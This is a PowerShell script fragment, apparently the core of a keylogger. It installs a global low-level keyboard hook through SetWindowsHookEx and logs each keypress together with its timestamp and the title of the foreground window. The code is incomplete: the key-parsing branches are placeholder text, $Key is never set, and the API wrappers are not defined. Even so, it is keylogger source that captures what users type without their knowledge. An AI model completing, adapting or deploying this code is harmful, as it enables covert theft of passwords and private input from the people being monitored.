ScriptblockCallback.ps1

# Define callback
$CallbackScript = {
    Param (
        [Int32]$Code,
        [IntPtr]$wParam,
        [IntPtr]$lParam
    )

    $MsgType = $wParam.ToInt32()

    # Process WM_KEYDOWN & WM_SYSKEYDOWN messages
    if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
    
        # Get handle to foreground window
        $hWindow = $GetForegroundWindow.Invoke()

        # Read virtual-key from buffer
        $vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)

        # Parse virtual-key
        if ($vKey -gt 64 -and $vKey -lt 91) { Alphabet characters }
        elseif ($vKey -ge 96 -and $vKey -le 111) { Number pad characters }
        elseif (($vKey -ge 48 -and $vKey -le 57) -or `
                ($vKey -ge 186 -and $vKey -le 192) -or `
                ($vKey -ge 219 -and $vKey -le 222)) { Shiftable characters }
        else { Special Keys }

        # Get foreground window's title
        $Title = New-Object Text.Stringbuilder 256
        $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)

        # Define object properties
        $Props = @{
            Key = $Key
            Time = [DateTime]::Now
            Window = $Title.ToString()
        }
        New-Object psobject -Property $Props
    }
    # Call next hook or keys won't get passed to intended destination
    return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
}

# Cast scriptblock as LowLevelKeyboardProc callback
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
$Callback = $CallbackScript -as $Delegate

# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)